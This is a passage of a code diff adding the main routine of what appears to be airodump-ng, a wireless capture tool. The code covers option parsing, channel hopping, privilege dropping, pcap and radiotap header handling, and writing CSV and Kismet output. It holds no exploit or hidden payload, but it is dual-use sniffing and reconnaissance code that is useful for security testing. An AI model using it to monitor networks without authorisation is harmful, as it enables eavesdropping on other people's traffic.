+	memset(&lopt.pfh_in, '\x00', sizeof(struct pcap_file_header));
+
+	gettimeofday(&tv0, NULL);
+
+	lt = localtime(&tv0.tv_sec);
+
+	lopt.keyout = (char *) malloc(512);
+	ALLEGE(lopt.keyout != NULL);
+	memset(lopt.keyout, 0, 512);
+	snprintf(lopt.keyout,
+			 511,
+			 "keyout-%02d%02d-%02d%02d%02d.keys",
+			 lt->tm_mon + 1,
+			 lt->tm_mday,
+			 lt->tm_hour,
+			 lt->tm_min,
+			 lt->tm_sec);
+
+	for (i = 0; i < MAX_CARDS; i++)
+	{
+		arptype[i] = 0;
+		fd_raw[i] = -1;
+		lopt.channel[i] = 0;
+	}
+
+	memset(opt.f_bssid, '\x00', 6);
+	memset(opt.f_netmask, '\x00', 6);
+	memset(lopt.wpa_bssid, '\x00', 6);
+
+	/* check the arguments */
+
+	for (i = 0; long_options[i].name != NULL; i++)
+		;
+	num_opts = i;
+
+	for (i = 0; i < argc; i++) // go through all arguments
+	{
+		found = 0;
+		if (strlen(argv[i]) >= 3)
+		{
+			if (argv[i][0] == '-' && argv[i][1] != '-')
+			{
+				// we got a single dash followed by at least 2 chars
+				// lets check that against our long options to find errors
+				for (j = 0; j < num_opts; j++)
+				{
+					if (strcmp(argv[i] + 1, long_options[j].name) == 0)
+					{
+						// found long option after single dash
+						found = 1;
+						if (i > 1 && strcmp(argv[i - 1], "-") == 0)
+						{
+							// separated dashes?
+							printf("Notice: You specified \"%s %s\". Did you "
+								   "mean \"%s%s\" instead?\n",
+								   argv[i - 1],
+								   argv[i],
+								   argv[i - 1],
+								   argv[i]);
+						}
+						else
+						{
+							// forgot second dash?
+							printf("Notice: You specified \"%s\". Did you mean "
+								   "\"-%s\" instead?\n",
+								   argv[i],
+								   argv[i]);
+						}
+						break;
+					}
+				}
+				if (found)
+				{
+					sleep(3);
+					break;
+				}
+			}
+		}
+	}
+
+	do
+	{
+		option_index = 0;
+
+		option
+			= getopt_long(argc,
+						  argv,
+						  "b:c:egiw:s:t:u:m:d:N:R:aHDB:Ahf:r:EC:o:x:MUI:WK:n:T",
+						  long_options,
+						  &option_index);
+
+		if (option < 0) break;
+
+		switch (option)
+		{
+			case 0:
+
+				break;
+
+			case ':':
+
+				printf("\"%s --help\" for help.\n", argv[0]);
+				return (EXIT_FAILURE);
+
+			case '?':
+
+				printf("\"%s --help\" for help.\n", argv[0]);
+				return (EXIT_FAILURE);
+
+			case 'K':
+			{
+				char * invalid_str = NULL;
+				long int bg_mode = strtol(optarg, &invalid_str, 10);
+				if ((invalid_str && *invalid_str != 0)
+					|| !(bg_mode == 0 || bg_mode == 1))
+				{
+					printf("Invalid background mode. Must be '0' or '1'\n");
+					exit(EXIT_FAILURE);
+				}
+				lopt.background_mode = (char) bg_mode;
+				break;
+			}
+			case 'I':
+
+				if (!is_string_number(optarg))
+				{
+					printf("Error: Write interval is not a number (>0). "
+						   "Aborting.\n");
+					exit(EXIT_FAILURE);
+				}
+
+				lopt.file_write_interval = (int) strtol(optarg, NULL, 10);
+
+				if (lopt.file_write_interval <= 0)
+				{
+					printf("Error: Write interval must be greater than 0. "
+						   "Aborting.\n");
+					exit(EXIT_FAILURE);
+				}
+				break;
+
+			case 'T':
+				lopt.relative_time = 1;
+				break;
+
+			case 'E':
+				lopt.detect_anomaly = 1;
+				break;
+
+			case 'e':
+
+				lopt.one_beacon = 0;
+				break;
+
+			case 'a':
+
+				lopt.asso_client = 1;
+				break;
+
+			case 'A':
+
+				lopt.show_ack = 1;
+				break;
+
+			case 'h':
+
+				lopt.hide_known = 1;
+				break;
+
+			case 'D':
+
+				lopt.decloak = 0;
+				break;
+
+			case 'M':
+
+				lopt.show_manufacturer = 1;
+				break;
+
+			case 'U':
+				lopt.show_uptime = 1;
+				break;
+
+			case 'W':
+
+				lopt.show_wps = 1;
+				break;
+
+			case 'c':
+
+				if (lopt.channel[0] > 0 || lopt.chanoption == 1)
+				{
+					if (lopt.chanoption == 1)
+						printf("Notice: Channel range already given\n");
+					else
+						printf("Notice: Channel already given (%d)\n",
+							   lopt.channel[0]);
+					break;
+				}
+
+				lopt.channel[0] = getchannels(optarg);
+
+				if (lopt.channel[0] < 0)
+				{
+					airodump_usage();
+					return (EXIT_FAILURE);
+				}
+
+				lopt.chanoption = 1;
+
+				if (lopt.channel[0] == 0)
+				{
+					lopt.channels = lopt.own_channels;
+					break;
+				}
+				lopt.channels = (int *) bg_chans;
+				break;
+
+			case 'C':
+
+				if (lopt.channel[0] > 0 || lopt.chanoption == 1)
+				{
+					if (lopt.chanoption == 1)
+						printf("Notice: Channel range already given\n");
+					else
+						printf("Notice: Channel already given (%d)\n",
+							   lopt.channel[0]);
+					break;
+				}
+
+				if (lopt.freqoption == 1)
+				{
+					printf("Notice: Frequency range already given\n");
+					break;
+				}
+
+				lopt.freqstring = optarg;
+
+				lopt.freqoption = 1;
+
+				break;
+
+			case 'b':
+
+				if (lopt.chanoption == 1)
+				{
+					printf("Notice: Channel range already given\n");
+					break;
+				}
+				freq[0] = freq[1] = 0;
+
+				for (i = 0; i < (int) strlen(optarg); i++)
+				{
+					if (optarg[i] == 'a')
+						freq[1] = 1;
+					else if (optarg[i] == 'b' || optarg[i] == 'g')
+						freq[0] = 1;
+					else
+					{
+						printf("Error: invalid band (%c)\n", optarg[i]);
+						printf("\"%s --help\" for help.\n", argv[0]);
+						exit(EXIT_FAILURE);
+					}
+				}
+
+				if (freq[1] + freq[0] == 2)
+					lopt.channels = (int *) abg_chans;
+				else
+				{
+					if (freq[1] == 1)
+						lopt.channels = (int *) a_chans;
+					else
+						lopt.channels = (int *) bg_chans;
+				}
+
+				break;
+
+			case 'i':
+
+				// Reset output format if it's the first time the option is
+				// specified
+				if (output_format_first_time)
+				{
+					output_format_first_time = 0;
+
+					opt.output_format_pcap = 0;
+					opt.output_format_csv = 0;
+					opt.output_format_kismet_csv = 0;
+					opt.output_format_kismet_netxml = 0;
+					opt.output_format_log_csv = 0;
+				}
+
+				if (opt.output_format_pcap)
+				{
+					airodump_usage();
+					fprintf(stderr,
+							"Invalid output format: IVS and PCAP "
+							"format cannot be used together.\n");
+					return (EXIT_FAILURE);
+				}
+
+				ivs_only = 1;
+				break;
+
+			case 'g':
+
+				opt.usegpsd = 1;
+				break;
+
+			case 'w':
+
+				if (lopt.dump_prefix != NULL)
+				{
+					printf("Notice: dump prefix already given\n");
+					break;
+				}
+				/* Write prefix */
+				lopt.dump_prefix = optarg;
+				opt.record_data = 1;
+				break;
+
+			case 'r':
+
+				if (opt.s_file)
+				{
+					printf("Packet source already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+				opt.s_file = optarg;
+				break;
+
+			case 's':
+
+				if (strtol(optarg, NULL, 10) > 2 || errno == EINVAL)
+				{
+					airodump_usage();
+					return (EXIT_FAILURE);
+				}
+				if (lopt.chswitch != 0)
+				{
+					printf("Notice: switching method already given\n");
+					break;
+				}
+				lopt.chswitch = (int) strtol(optarg, NULL, 10);
+				break;
+
+			case 'u':
+
+				lopt.update_s = (int) strtol(optarg, NULL, 10);
+
+				/* If failed to parse or value <= 0, use default, 100ms */
+				if (lopt.update_s <= 0) lopt.update_s = REFRESH_RATE;
+
+				break;
+
+			case 'f':
+
+				lopt.hopfreq = (int) strtol(optarg, NULL, 10);
+
+				/* If failed to parse or value <= 0, use default, 100ms */
+				if (lopt.hopfreq <= 0) lopt.hopfreq = DEFAULT_HOPFREQ;
+
+				break;
+
+			case 'B':
+
+				lopt.is_berlin = 1;
+				lopt.berlin = (int) strtol(optarg, NULL, 10);
+
+				if (lopt.berlin <= 0) lopt.berlin = 120;
+
+				break;
+
+			case 'm':
+
+				if (memcmp(opt.f_netmask, NULL_MAC, 6) != 0)
+				{
+					printf("Notice: netmask already given\n");
+					break;
+				}
+				if (getmac(optarg, 1, opt.f_netmask) != 0)
+				{
+					printf("Notice: invalid netmask\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+				break;
+
+			case 'd':
+
+				if (memcmp(opt.f_bssid, NULL_MAC, 6) != 0)
+				{
+					printf("Notice: bssid already given\n");
+					break;
+				}
+				if (getmac(optarg, 1, opt.f_bssid) != 0)
+				{
+					printf("Notice: invalid bssid\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+
+					return (EXIT_FAILURE);
+				}
+				break;
+
+			case 'N':
+
+				lopt.f_essid_count++;
+				lopt.f_essid = (char **) realloc( //-V701
+					lopt.f_essid,
+					lopt.f_essid_count * sizeof(char *));
+				ALLEGE(lopt.f_essid != NULL);
+				lopt.f_essid[lopt.f_essid_count - 1] = optarg;
+				break;
+
+			case 'R':
+
+#ifdef HAVE_PCRE
+				if (lopt.f_essid_regex != NULL)
+				{
+					printf("Error: ESSID regular expression already given. "
+						   "Aborting\n");
+					exit(EXIT_FAILURE);
+				}
+
+				lopt.f_essid_regex
+					= pcre_compile(optarg, 0, &pcreerror, &pcreerroffset, NULL);
+
+				if (lopt.f_essid_regex == NULL)
+				{
+					printf("Error: regular expression compilation failed at "
+						   "offset %d: %s; aborting\n",
+						   pcreerroffset,
+						   pcreerror);
+					exit(EXIT_FAILURE);
+				}
+#else
+				printf("Error: Airodump-ng wasn't compiled with pcre support; "
+					   "aborting\n");
+#endif
+
+				break;
+
+			case 't':
+
+				set_encryption_filter(optarg);
+				break;
+
+			case 'n':
+
+				lopt.min_pkts = strtoul(optarg, NULL, 10);
+				break;
+
+			case 'o':
+
+				// Reset output format if it's the first time the option is
+				// specified
+				if (output_format_first_time)
+				{
+					output_format_first_time = 0;
+
+					opt.output_format_pcap = 0;
+					opt.output_format_csv = 0;
+					opt.output_format_kismet_csv = 0;
+					opt.output_format_kismet_netxml = 0;
+					opt.output_format_log_csv = 0;
+				}
+
+				// Parse the value
+				output_format_string = strtok(optarg, ",");
+				while (output_format_string != NULL)
+				{
+					if (strlen(output_format_string) != 0)
+					{
+						if (strncasecmp(output_format_string, "csv", 3) == 0
+							|| strncasecmp(output_format_string, "txt", 3) == 0)
+						{
+							opt.output_format_csv = 1;
+						}
+						else if (strncasecmp(output_format_string, "pcap", 4)
+									 == 0
+								 || strncasecmp(output_format_string, "cap", 3)
+										== 0)
+						{
+							if (ivs_only)
+							{
+								airodump_usage();
+								fprintf(stderr,
+										"Invalid output format: IVS "
+										"and PCAP format cannot be "
+										"used together.\n");
+								return (EXIT_FAILURE);
+							}
+							opt.output_format_pcap = 1;
+						}
+						else if (strncasecmp(output_format_string, "ivs", 3)
+								 == 0)
+						{
+							if (opt.output_format_pcap)
+							{
+								airodump_usage();
+								fprintf(stderr,
+										"Invalid output format: IVS "
+										"and PCAP format cannot be "
+										"used together.\n");
+								return (EXIT_FAILURE);
+							}
+							ivs_only = 1;
+						}
+						else if (strncasecmp(output_format_string, "kismet", 6)
+								 == 0)
+						{
+							opt.output_format_kismet_csv = 1;
+						}
+						else if (strncasecmp(output_format_string, "gps", 3)
+								 == 0)
+						{
+							opt.usegpsd = 1;
+						}
+						else if (strncasecmp(output_format_string, "netxml", 6)
+									 == 0
+								 || strncasecmp(
+										output_format_string, "newcore", 7)
+										== 0
+								 || strncasecmp(
+										output_format_string, "kismet-nc", 9)
+										== 0
+								 || strncasecmp(
+										output_format_string, "kismet_nc", 9)
+										== 0
+								 || strncasecmp(output_format_string,
+												"kismet-newcore",
+												14)
+										== 0
+								 || strncasecmp(output_format_string,
+												"kismet_newcore",
+												14)
+										== 0)
+						{
+							opt.output_format_kismet_netxml = 1;
+						}
+						else if (strncasecmp(output_format_string, "logcsv", 6)
+								 == 0)
+						{
+							opt.output_format_log_csv = 1;
+						}
+						else if (strncasecmp(output_format_string, "default", 7)
+								 == 0)
+						{
+							opt.output_format_pcap = 1;
+							opt.output_format_csv = 1;
+							opt.output_format_kismet_csv = 1;
+							opt.output_format_kismet_netxml = 1;
+						}
+						else if (strncasecmp(output_format_string, "none", 4)
+								 == 0)
+						{
+							opt.output_format_pcap = 0;
+							opt.output_format_csv = 0;
+							opt.output_format_kismet_csv = 0;
+							opt.output_format_kismet_netxml = 0;
+							opt.output_format_log_csv = 0;
+							opt.usegpsd = 0;
+							ivs_only = 0;
+						}
+						else
+						{
+							// Display an error if it does not match any value
+							fprintf(stderr,
+									"Invalid output format: <%s>\n",
+									output_format_string);
+							exit(EXIT_FAILURE);
+						}
+					}
+					output_format_string = strtok(NULL, ",");
+				}
+
+				break;
+
+			case 'H':
+				airodump_usage();
+				return (EXIT_FAILURE);
+
+			case 'x':
+
+				lopt.active_scan_sim = (int) strtol(optarg, NULL, 10);
+
+				if (lopt.active_scan_sim <= 0) lopt.active_scan_sim = 0;
+				break;
+
+			case '2':
+#ifndef CONFIG_LIBNL
+				printf("HT Channel unsupported\n");
+				return (EXIT_FAILURE);
+#else
+				lopt.htval = CHANNEL_HT20;
+#endif
+				break;
+			case '3':
+#ifndef CONFIG_LIBNL
+				printf("HT Channel unsupported\n");
+				return (EXIT_FAILURE);
+#else
+				lopt.htval = CHANNEL_HT40_MINUS;
+#endif
+				break;
+			case '5':
+#ifndef CONFIG_LIBNL
+				printf("HT Channel unsupported\n");
+				return (EXIT_FAILURE);
+#else
+				lopt.htval = CHANNEL_HT40_PLUS;
+#endif
+				break;
+
+			default:
+				airodump_usage();
+				return (EXIT_FAILURE);
+		}
+	} while (1);
+
+	if (argc - optind != 1 && opt.s_file == NULL)
+	{
+		if (argc == 1)
+		{
+			airodump_usage();
+		}
+		if (argc - optind == 0)
+		{
+			printf("No interface specified.\n");
+		}
+		if (argc > 1)
+		{
+			printf("\"%s --help\" for help.\n", argv[0]);
+		}
+		return (EXIT_FAILURE);
+	}
+
+	if (argc - optind == 1) lopt.s_iface = argv[argc - 1];
+
+	if ((memcmp(opt.f_netmask, NULL_MAC, 6) != 0)
+		&& (memcmp(opt.f_bssid, NULL_MAC, 6) == 0))
+	{
+		printf("Notice: specify bssid \"--bssid\" with \"--netmask\"\n");
+		printf("\"%s --help\" for help.\n", argv[0]);
+		return (EXIT_FAILURE);
+	}
+
+	if (lopt.show_wps && lopt.show_manufacturer)
+		lopt.maxsize_essid_seen += lopt.maxsize_wps_seen;
+
+	if (lopt.s_iface != NULL)
+	{
+		/* initialize cards */
+		lopt.num_cards = init_cards(lopt.s_iface, iface, wi);
+
+		if (lopt.num_cards <= 0 || lopt.num_cards >= MAX_CARDS)
+		{
+			printf("Failed initializing wireless card(s): %s\n", lopt.s_iface);
+			return (EXIT_FAILURE);
+		}
+
+		for (i = 0; i < lopt.num_cards; i++)
+		{
+			fd_raw[i] = wi_fd(wi[i]);
+			if (fd_raw[i] > fdh) fdh = fd_raw[i];
+		}
+
+		if (lopt.freqoption == 1 && lopt.freqstring != NULL) // use frequencies
+		{
+			detect_frequencies(wi[0]);
+			lopt.frequency[0] = getfrequencies(lopt.freqstring);
+			if (lopt.frequency[0] == -1)
+			{
+				printf("No valid frequency given.\n");
+				return (EXIT_FAILURE);
+			}
+
+			rearrange_frequencies();
+
+			freq_count = getfreqcount(0);
+
+			/* find the interface index */
+			/* start a child to hop between frequencies */
+
+			if (lopt.frequency[0] == 0)
+			{
+				IGNORE_NZ(pipe(lopt.ch_pipe));
+				IGNORE_NZ(pipe(lopt.cd_pipe));
+
+				struct sigaction action;
+				action.sa_flags = 0;
+				action.sa_handler = &sighandler;
+				sigemptyset(&action.sa_mask);
+
+				if (sigaction(SIGUSR1, &action, NULL) == -1)
+					perror("sigaction(SIGUSR1)");
+
+				if (!fork())
+				{
+					/* reopen cards.  This way parent & child don't share
+					* resources for
+					* accessing the card (e.g. file descriptors) which may cause
+					* problems.  -sorbo
+					*/
+					for (i = 0; i < lopt.num_cards; i++)
+					{
+						strncpy(ifnam, wi_get_ifname(wi[i]), sizeof(ifnam) - 1);
+						ifnam[sizeof(ifnam) - 1] = 0;
+
+						wi_close(wi[i]);
+						wi[i] = wi_open(ifnam);
+						if (!wi[i])
+						{
+							printf("Can't reopen %s\n", ifnam);
+							exit(EXIT_FAILURE);
+						}
+					}
+
+					/* Drop privileges */
+					if (setuid(getuid()) == -1)
+					{
+						perror("setuid");
+					}
+
+					frequency_hopper(wi, lopt.num_cards, freq_count, main_pid);
+					exit(EXIT_FAILURE);
+				}
+			}
+			else
+			{
+				for (i = 0; i < lopt.num_cards; i++)
+				{
+					wi_set_freq(wi[i], lopt.frequency[0]);
+					lopt.frequency[i] = lopt.frequency[0];
+				}
+				lopt.singlefreq = 1;
+			}
+		}
+		else // use channels
+		{
+			chan_count = getchancount(0);
+
+			/* find the interface index */
+			/* start a child to hop between channels */
+
+			if (lopt.channel[0] == 0)
+			{
+				IGNORE_NZ(pipe(lopt.ch_pipe));
+				IGNORE_NZ(pipe(lopt.cd_pipe));
+
+				struct sigaction action;
+				action.sa_flags = 0;
+				action.sa_handler = &sighandler;
+				sigemptyset(&action.sa_mask);
+
+				if (sigaction(SIGUSR1, &action, NULL) == -1)
+					perror("sigaction(SIGUSR1)");
+
+				if (!fork())
+				{
+					/* reopen cards.  This way parent & child don't share
+					* resources for
+					* accessing the card (e.g. file descriptors) which may cause
+					* problems.  -sorbo
+					*/
+					for (i = 0; i < lopt.num_cards; i++)
+					{
+						strncpy(ifnam, wi_get_ifname(wi[i]), sizeof(ifnam) - 1);
+						ifnam[sizeof(ifnam) - 1] = 0;
+
+						wi_close(wi[i]);
+						wi[i] = wi_open(ifnam);
+						if (!wi[i])
+						{
+							printf("Can't reopen %s\n", ifnam);
+							exit(EXIT_FAILURE);
+						}
+					}
+
+					/* Drop privileges */
+					if (setuid(getuid()) == -1)
+					{
+						perror("setuid");
+					}
+
+					channel_hopper(wi, lopt.num_cards, chan_count, main_pid);
+					exit(EXIT_FAILURE);
+				}
+			}
+			else
+			{
+				for (i = 0; i < lopt.num_cards; i++)
+				{
+#ifdef CONFIG_LIBNL
+					wi_set_ht_channel(wi[i], lopt.channel[0], lopt.htval);
+#else
+					wi_set_channel(wi[i], lopt.channel[0]);
+#endif
+					lopt.channel[i] = lopt.channel[0];
+				}
+				lopt.singlechan = 1;
+			}
+		}
+	}
+
+	/* Drop privileges */
+	if (setuid(getuid()) == -1)
+	{
+		perror("setuid");
+	}
+
+	/* check if there is an input file */
+	if (opt.s_file != NULL)
+	{
+		if (!(lopt.f_cap_in = fopen(opt.s_file, "rb")))
+		{
+			perror("open failed");
+			return (EXIT_FAILURE);
+		}
+
+		n = sizeof(struct pcap_file_header);
+
+		if (fread(&lopt.pfh_in, 1, (size_t) n, lopt.f_cap_in) != (size_t) n)
+		{
+			perror("fread(pcap file header) failed");
+			return (EXIT_FAILURE);
+		}
+
+		if (lopt.pfh_in.magic != TCPDUMP_MAGIC
+			&& lopt.pfh_in.magic != TCPDUMP_CIGAM)
+		{
+			fprintf(stderr,
+					"\"%s\" isn't a pcap file (expected "
+					"TCPDUMP_MAGIC).\n",
+					opt.s_file);
+			return (EXIT_FAILURE);
+		}
+
+		if (lopt.pfh_in.magic == TCPDUMP_CIGAM) SWAP32(lopt.pfh_in.linktype);
+
+		if (lopt.pfh_in.linktype != LINKTYPE_IEEE802_11
+			&& lopt.pfh_in.linktype != LINKTYPE_PRISM_HEADER
+			&& lopt.pfh_in.linktype != LINKTYPE_RADIOTAP_HDR
+			&& lopt.pfh_in.linktype != LINKTYPE_PPI_HDR)
+		{
+			fprintf(stderr,
+					"Wrong linktype from pcap file header "
+					"(expected LINKTYPE_IEEE802_11) -\n"
+					"this doesn't look like a regular 802.11 "
+					"capture.\n");
+			return (EXIT_FAILURE);
+		}
+	}
+
+	/* open or create the output files */
+
+	if (opt.record_data)
+		if (dump_initialize_multi_format(lopt.dump_prefix, ivs_only))
+			return (EXIT_FAILURE);
+
+	struct sigaction action;
+	action.sa_flags = 0;
+	action.sa_handler = &sighandler;
+	sigemptyset(&action.sa_mask);
+
+	if (sigaction(SIGINT, &action, NULL) == -1) perror("sigaction(SIGINT)");
+	if (sigaction(SIGSEGV, &action, NULL) == -1) perror("sigaction(SIGSEGV)");
+	if (sigaction(SIGTERM, &action, NULL) == -1) perror("sigaction(SIGTERM)");
+	if (sigaction(SIGWINCH, &action, NULL) == -1) perror("sigaction(SIGWINCH)");
+
+	/* fill oui struct if ram is greater than 32 MB */
+	if (get_ram_size() > MIN_RAM_SIZE_LOAD_OUI_RAM)
+	{
+		lopt.manufList = load_oui_file();
+	}
+
+	/* start the GPS tracker */
+
+	if (opt.usegpsd)
+	{
+		if (pthread_create(&lopt.gps_tid, NULL, &gps_tracker_thread, NULL) != 0)
+		{
+			perror("Could not create GPS thread");
+			return (EXIT_FAILURE);
+		}
+
+		usleep(50000);
+		waitpid(-1, NULL, WNOHANG);
+	}
+
+	hide_cursor();
+	erase_display(2);
+
+	start_time = time(NULL);
+	tt1 = time(NULL);
+	tt2 = time(NULL);
+	gettimeofday(&tv3, NULL);
+	gettimeofday(&tv4, NULL);
+
+	lopt.batt = getBatteryString();
+
+	lopt.elapsed_time = (char *) calloc(1, 4);
+	if (lopt.elapsed_time == NULL)
+	{
+		perror("Error allocating memory");
+		return (EXIT_FAILURE);
+	}
+	strncpy(lopt.elapsed_time, "0 s", 4);
+	lopt.elapsed_time[3] = '\0';
+
+	/* Create start time string for kismet netxml file */
+	lopt.airodump_start_time = (char *) calloc(1, 1000 * sizeof(char));
+	ALLEGE(lopt.airodump_start_time != NULL);
+	strncpy(lopt.airodump_start_time, ctime(&start_time), 1000 - 1);
+	lopt.airodump_start_time[strlen(lopt.airodump_start_time) - 1]
+		= 0; // remove new line
+	lopt.airodump_start_time = (char *) realloc( //-V701
+		lopt.airodump_start_time,
+		sizeof(char) * (strlen(lopt.airodump_start_time) + 1));
+	ALLEGE(lopt.airodump_start_time != NULL);
+
+	// Do not start the interactive mode input thread if running in the
+	// background
+	if (lopt.background_mode == -1) lopt.background_mode = is_background();
+
+	if (!lopt.background_mode
+		&& pthread_create(&(lopt.input_tid), NULL, (void *) input_thread, NULL)
+			   != 0)
+	{
+		perror("pthread_create failed");
+		return (EXIT_FAILURE);
+	}
+
+	while (1)
+	{
+		if (lopt.do_exit)
+		{
+			break;
+		}
+
+		if (time(NULL) - tt1 >= lopt.file_write_interval)
+		{
+			/* update the text output files */
+
+			tt1 = time(NULL);
+			if (opt.output_format_csv)
+				dump_write_csv(lopt.ap_1st, lopt.st_1st, lopt.f_encrypt);
+			if (opt.output_format_kismet_csv)
+				dump_write_kismet_csv(lopt.ap_1st, lopt.st_1st, lopt.f_encrypt);
+			if (opt.output_format_kismet_netxml)
+				dump_write_kismet_netxml(lopt.ap_1st,
+										 lopt.st_1st,
+										 lopt.f_encrypt,
+										 lopt.airodump_start_time);
+		}
+
+		if (time(NULL) - tt2 > 5)
+		{
+			if (lopt.sort_by != SORT_BY_NOTHING)
+			{
+				/* sort the APs by power */
+				ALLEGE(pthread_mutex_lock(&(lopt.mx_sort)) == 0);
+				dump_sort();
+				ALLEGE(pthread_mutex_unlock(&(lopt.mx_sort)) == 0);
+			}
+
+			/* update the battery state */
+			free(lopt.batt);
+			lopt.batt = NULL;
+
+			tt2 = time(NULL);
+			lopt.batt = getBatteryString();
+
+			/* update elapsed time */
+
+			free(lopt.elapsed_time);
+			lopt.elapsed_time = NULL;
+			lopt.elapsed_time = getStringTimeFromSec(difftime(tt2, start_time));
+
+			/* flush the output files */
+
+			if (opt.f_cap != NULL) fflush(opt.f_cap);
+			if (opt.f_ivs != NULL) fflush(opt.f_ivs);
+		}
+
+		gettimeofday(&tv1, NULL);
+
+		cycle_time = 1000000UL * (tv1.tv_sec - tv3.tv_sec)
+					 + (tv1.tv_usec - tv3.tv_usec);
+
+		cycle_time2 = 1000000UL * (tv1.tv_sec - tv4.tv_sec)
+					  + (tv1.tv_usec - tv4.tv_usec);
+
+		if (lopt.active_scan_sim > 0
+			&& cycle_time2 > lopt.active_scan_sim * 1000)
+		{
+			gettimeofday(&tv4, NULL);
+			send_probe_requests(wi, lopt.num_cards);
+		}
+
+		if (cycle_time > 500000)
+		{
+			gettimeofday(&tv3, NULL);
+			update_rx_quality();
+			if (lopt.s_iface != NULL)
+			{
+				check_monitor(wi, fd_raw, &fdh, lopt.num_cards);
+				if (lopt.singlechan) check_channel(wi, lopt.num_cards);
+				if (lopt.singlefreq) check_frequency(wi, lopt.num_cards);
+			}
+		}
+
+		if (opt.s_file != NULL)
+		{
+			static struct timeval prev_tv = {0, 0};
+
+			/* Read one packet */
+			n = sizeof(pkh);
+
+			if (fread(&pkh, (size_t) n, 1, lopt.f_cap_in) != 1)
+			{
+				memset(lopt.message, '\x00', sizeof(lopt.message));
+				snprintf(lopt.message,
+						 sizeof(lopt.message),
+						 "][ Finished reading input file %s.",
+						 opt.s_file);
+				opt.s_file = NULL;
+				continue;
+			}
+
+			if (lopt.pfh_in.magic == TCPDUMP_CIGAM)
+			{
+				SWAP32(pkh.caplen);
+				SWAP32(pkh.len);
+			}
+
+			n = caplen = pkh.caplen;
+
+			memset(buffer, 0, sizeof(buffer));
+			h80211 = buffer;
+
+			if (n <= 0 || n > (int) sizeof(buffer))
+			{
+				memset(lopt.message, '\x00', sizeof(lopt.message));
+				snprintf(lopt.message,
+						 sizeof(lopt.message),
+						 "][ Finished reading input file %s.",
+						 opt.s_file);
+				opt.s_file = NULL;
+				continue;
+			}
+
+			if (fread(h80211, (size_t) n, 1, lopt.f_cap_in) != 1)
+			{
+				memset(lopt.message, '\x00', sizeof(lopt.message));
+				snprintf(lopt.message,
+						 sizeof(lopt.message),
+						 "][ Finished reading input file %s.",
+						 opt.s_file);
+				opt.s_file = NULL;
+				continue;
+			}
+
+			if (lopt.pfh_in.linktype == LINKTYPE_PRISM_HEADER)
+			{
+				if (h80211[7] == 0x40)
+				{
+					n = 64;
+					ri.ri_power = -((int32_t) load32_le(h80211 + 0x33));
+					ri.ri_noise = (int32_t) load32_le(h80211 + 0x33 + 12);
+					ri.ri_rate = load32_le(h80211 + 0x33 + 24) * 500000;
+				}
+				else
+				{
+					n = load32_le(h80211 + 4);
+					ri.ri_mactime = load64_le(h80211 + 0x5C - 48);
+					ri.ri_channel = load32_le(h80211 + 0x5C - 36);
+					ri.ri_power = -((int32_t) load32_le(h80211 + 0x5C));
+					ri.ri_noise = (int32_t) load32_le(h80211 + 0x5C + 12);
+					ri.ri_rate = load32_le(h80211 + 0x5C + 24) * 500000;
+				}
+
+				if (n < 8 || n >= caplen) continue;
+
+				memcpy(tmpbuf, h80211, (size_t) caplen);
+				caplen -= n;
+				memcpy(h80211, tmpbuf + n, (size_t) caplen);
+			}
+
+			if (lopt.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR)
+			{
+				/* remove the radiotap header */
+
+				n = load16_le(h80211 + 2);
+
+				if (n <= 0 || n >= caplen) continue;
+
+				int got_signal = 0;
+				int got_noise = 0;
+				struct ieee80211_radiotap_iterator iterator;
+				struct ieee80211_radiotap_header * rthdr;
+
+				rthdr = (struct ieee80211_radiotap_header *) h80211;
+
+				if (ieee80211_radiotap_iterator_init(
+						&iterator, rthdr, caplen, NULL)
+					< 0)
+					continue;
+
+				/* go through the radiotap arguments we have been given
+				 * by the driver
+				 */
+
+				while (ieee80211_radiotap_iterator_next(&iterator) >= 0)
+				{
+					switch (iterator.this_arg_index)
+					{
+						case IEEE80211_RADIOTAP_TSFT:
+							ri.ri_mactime = le64_to_cpu(
+								*((uint64_t *) iterator.this_arg));
+							break;
+
+						case IEEE80211_RADIOTAP_DBM_ANTSIGNAL:
+							if (!got_signal)
+							{
+								if (*iterator.this_arg < 127)
+									ri.ri_power = *iterator.this_arg;
+								else
+									ri.ri_power = *iterator.this_arg - 255;
+
+								got_signal = 1;
+							}
+							break;
+
+						case IEEE80211_RADIOTAP_DB_ANTSIGNAL:
+							if (!got_signal)
+							{
+								if (*iterator.this_arg < 127)
+									ri.ri_power = *iterator.this_arg;
+								else
+									ri.ri_power = *iterator.this_arg - 255;
+
+								got_signal = 1;
+							}
+							break;
+
+						case IEEE80211_RADIOTAP_DBM_ANTNOISE:
+							if (!got_noise)
+							{
+								if (*iterator.this_arg < 127)
+									ri.ri_noise = *iterator.this_arg;
+								else
+									ri.ri_noise = *iterator.this_arg - 255;
+
+								got_noise = 1;
+							}
+							break;
+
+						case IEEE80211_RADIOTAP_DB_ANTNOISE:
+							if (!got_noise)
+							{
+								if (*iterator.this_arg < 127)
+									ri.ri_noise = *iterator.this_arg;
+								else
+									ri.ri_noise = *iterator.this_arg - 255;
+
+								got_noise = 1;
+							}
+							break;
+
+						case IEEE80211_RADIOTAP_ANTENNA:
+							ri.ri_antenna = *iterator.this_arg;
+							break;
+
+						case IEEE80211_RADIOTAP_CHANNEL:
+							ri.ri_channel = getChannelFromFrequency(
+								le16toh(*(uint16_t *) iterator.this_arg));
+							break;
+
+						case IEEE80211_RADIOTAP_RATE:
+							ri.ri_rate = (*iterator.this_arg) * 500000;
+							break;
+					}
+				}
+
+				memcpy(tmpbuf, h80211, (size_t) caplen);
+				caplen -= n;
+				memcpy(h80211, tmpbuf + n, (size_t) caplen);
+			}
+
+			if (lopt.pfh_in.linktype == LINKTYPE_PPI_HDR)
+			{
+				/* remove the PPI header */
+
+				n = load16_le(h80211 + 2);
+
+				if (n <= 0 || n >= caplen) continue;
+
+				/* for a while Kismet logged broken PPI headers */
+				if (n == 24 && load16_le(h80211 + 8) == 2) n = 32;
+
+				if (n <= 0 || n >= caplen) continue; //-V560
+
+				memcpy(tmpbuf, h80211, (size_t) caplen);
+				caplen -= n;
+				memcpy(h80211, tmpbuf + n, (size_t) caplen);
+			}
+
+			read_pkts++;
+
+			if (lopt.relative_time && prev_tv.tv_sec != 0
+				&& prev_tv.tv_usec != 0)
+			{
+				// handle delaying this packet
